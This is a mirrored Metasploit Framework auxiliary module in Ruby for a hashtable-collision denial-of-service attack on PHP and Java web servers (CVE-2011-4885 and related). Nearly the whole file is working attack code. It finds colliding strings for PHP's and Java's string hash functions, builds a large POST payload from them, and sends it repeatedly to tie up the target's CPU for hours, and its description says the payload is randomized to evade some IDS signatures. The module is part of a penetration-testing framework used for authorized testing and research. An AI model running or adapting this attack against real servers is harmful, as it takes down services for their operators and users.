Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/hashcollision_dos.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Hashtable Collisions',
15
'Description' => %q{
16
This module uses a denial-of-service (DoS) condition appearing in a variety of
17
programming languages. This vulnerability occurs when storing multiple values
18
in a hash table and all values have the same hash value. This can cause a web server
19
parsing the POST parameters issued with a request into a hash table to consume
20
hours of CPU with a single HTTP request.
21
22
Currently, only the hash functions for PHP and Java are implemented.
23
This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo.
24
It also generates a random payload to bypass some IDS signatures.
25
},
26
'Author' => [
27
'Alexander Klink', # advisory
28
'Julian Waelde', # advisory
29
'Scott A. Crosby', # original advisory
30
'Dan S. Wallach', # original advisory
31
'Krzysztof Kotowicz', # payload generator
32
'Christian Mehlmauer' # metasploit module
33
],
34
'License' => MSF_LICENSE,
35
'References' => [
36
['URL', 'http://ocert.org/advisories/ocert-2011-003.html'],
37
['URL', 'https://web.archive.org/web/20120105151644/http://www.nruns.com/_downloads/advisory28122011.pdf'],
38
['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'],
39
['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'],
40
['URL', 'https://www.youtube.com/watch?v=R2Cq3CLI6H8'],
41
['CVE', '2011-5034'],
42
['CVE', '2011-5035'],
43
['CVE', '2011-4885'],
44
['CVE', '2011-4858']
45
],
46
'DisclosureDate' => '2011-12-28',
47
'Notes' => {
48
'Stability' => [CRASH_SERVICE_DOWN],
49
'SideEffects' => [],
50
'Reliability' => []
51
}
52
)
53
)
54
55
register_options(
56
[
57
OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP', 'Java']]),
58
OptString.new('URL', [ true, 'The request URI', '/' ]),
59
OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50 ])
60
]
61
)
62
63
register_advanced_options(
64
[
65
OptInt.new('RecursiveMax', [false, 'Maximum recursions when searching for collisionchars', 15]),
66
OptInt.new('MaxPayloadSize', [false, 'Maximum size of the Payload in Megabyte. Autoadjust if 0', 0]),
67
OptInt.new('CollisionChars', [false, 'Number of colliding chars to find', 5]),
68
OptInt.new('CollisionCharLength', [false, 'Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)', 2]),
69
OptInt.new('PayloadLength', [false, 'Length of each parameter in the payload', 8])
70
]
71
)
72
end
73
74
def generate_payload
75
# Taken from:
76
# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
77
78
@recursive_counter = 1
79
collision_chars = compute_collision_chars
80
return nil if collision_chars.nil?
81
82
length = datastore['PayloadLength']
83
size = collision_chars.length
84
post = ''
85
max_value_float = size**length
86
max_value_int = max_value_float.floor
87
print_status("#{rhost}:#{rport} - Generating POST data...")
88
for i in 0.upto(max_value_int)
89
input_string = i.to_s(size)
90
result = input_string.rjust(length, '0')
91
collision_chars.each do |key, value|
92
result = result.gsub(key, value)
93
end
94
post << "#{Rex::Text.uri_encode(result)}=&"
95
end
96
return post
97
end
98
99
def compute_collision_chars
100
print_status("#{rhost}:#{rport} - Trying to find hashes...") if @recursive_counter == 1
101
hashes = {}
102
counter = 0
103
length = datastore['CollisionCharLength']
104
a = []
105
for i in @char_range
106
a << i.chr
107
end
108
# Generate all possible strings
109
source = a
110
for _ in Range.new(1, length - 1)
111
source = source.product(a)
112
end
113
source = source.map(&:join)
114
# and pick a random one
115
base_str = source.sample
116
base_hash = @function.call(base_str)
117
hashes[counter.to_s] = base_str
118
counter += 1
119
for item in source
120
if item == base_str
121
next
122
end
123
124
if @function.call(item) == base_hash
125
# Hooray we found a matching hash
126
hashes[counter.to_s] = item
127
counter += 1
128
end
129
if counter >= datastore['CollisionChars']
130
break
131
end
132
end
133
if counter < datastore['CollisionChars']
134
# Try it again
135
if @recursive_counter > datastore['RecursiveMax']
136
print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")
137
return nil
138
end
139
print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")
140
@recursive_counter += 1
141
hashes = compute_collision_chars
142
else
143
print_status("#{rhost}:#{rport} - Found values:")
144
hashes.each_value do |item|
145
print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}")
146
item.each_char do |c|
147
print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack('C')}")
148
end
149
end
150
end
151
return hashes
152
end
153
154
# General hash function, Dan "djb" Bernstein times XX add
155
def djbxa(input_string, base, start)
156
counter = input_string.length - 1
157
result = start
158
input_string.each_char do |item|
159
result += ((base**counter) * item.ord)
160
counter -= 1
161
end
162
return result.round
163
end
164
165
# PHP's hash function (djb times 33 add)
166
def djbx33a(input_string)
167
return djbxa(input_string, 33, 5381)
168
end
169
170
# Java's hash function (djb times 31 add)
171
def djbx31a(input_string)
172
return djbxa(input_string, 31, 0)
173
end
174
175
def run
176
case datastore['TARGET']
177
when /PHP/
178
@function = method(:djbx33a)
179
@char_range = Range.new(0, 255)
180
if (datastore['MaxPayloadSize'] <= 0)
181
datastore['MaxPayloadSize'] = 8 # XXX: Refactor
182
end
183
when /Java/
184
@function = method(:djbx31a)
185
@char_range = Range.new(0, 128)
186
if (datastore['MaxPayloadSize'] <= 0)
187
datastore['MaxPayloadSize'] = 2 # XXX: Refactor
188
end
189
else
190
raise "Target #{datastore['TARGET']} not supported"
191
end
192
193
print_status("#{rhost}:#{rport} - Generating payload...")
194
payload = generate_payload
195
return if payload.nil?
196
197
# trim to maximum payload size (in MB)
198
max_in_mb = datastore['MaxPayloadSize'] * 1024 * 1024
199
payload = payload[0, max_in_mb]
200
# remove last invalid(cut off) parameter
201
position = payload.rindex('=&')
202
payload = payload[0, position + 1]
203
print_status("#{rhost}:#{rport} -Payload generated")
204
205
for x in 1..datastore['RLIMIT']
206
print_status("#{rhost}:#{rport} - Sending request ##{x}...")
207
opts = {
208
'method' => 'POST',
209
'uri' => normalize_uri(datastore['URL']),
210
'data' => payload
211
}
212
begin
213
c = connect
214
r = c.request_cgi(opts)
215
c.send_request(r)
216
# Don't wait for a response, can take hours
217
rescue ::Rex::ConnectionError => e
218
print_error("#{rhost}:#{rport} - Unable to connect: '#{e.message}'")
219
return
220
ensure
221
disconnect(c) if c
222
end
223
end
224
end
225
end
226
227